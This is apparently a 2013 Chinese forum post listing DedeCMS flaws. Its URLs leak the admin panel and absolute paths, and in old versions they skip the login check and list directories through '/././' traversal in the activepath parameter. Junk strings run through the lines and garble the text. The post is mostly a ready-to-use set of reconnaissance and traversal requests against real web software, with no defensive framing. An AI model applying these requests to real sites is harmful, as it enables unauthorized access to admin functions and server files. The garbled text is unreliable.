1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理
% I+ L. L) x; ^- ?6 Y& h. @4 _% p7 W: q+ F' d. K4 W9 R4 n; {
员帐号,新版本的就直接转向了后台." J. j( _7 q# e
, i G; ]6 w" Y" k0 P; G
2.include/dialog/config.php会爆出后台管理路径1 Y$ _0 V! r' k8 e. X D: H
( ^8 h# _) D! U S3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
5 g$ M+ I p2 g' R2 S2 s+ q' f6 t% {' i% @% d& l |
4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.+ d1 J2 w" e U- Z7 Q! }0 d
* N6 D, b# Z- u2 d3 \& c5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉 f" A3 G5 J5 A! }' i
) q$ ~" {& l/ o1 v) B$ b+ F
到根目录去.不过这些版本的访问地址有些不同.
3 ]2 x' |$ K" g( l地址为require/dialog/select_soft.php?activepath=/././././././././
e2 _9 M0 k! D; c
" f# t$ L9 O! i+ N% j3 Ninclude\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..$ ^6 p4 v; @9 ?9 m8 F9 e. p/ O( K |
存在相同问题的文件还有
$ l, v5 w' z' b& e4 x5 d+ B( @) Dinclude\dialog\select_images.php& M/ T3 c4 _, b. h4 v$ q8 ?0 b) s s
include\dialog\select_media.php
) e. W- P) ~! v( minclude\dialog\select_templets.php
& M2 r0 u. H, U7 } O |
发表于 2013-4-16 16:50:43
收藏
支持
反对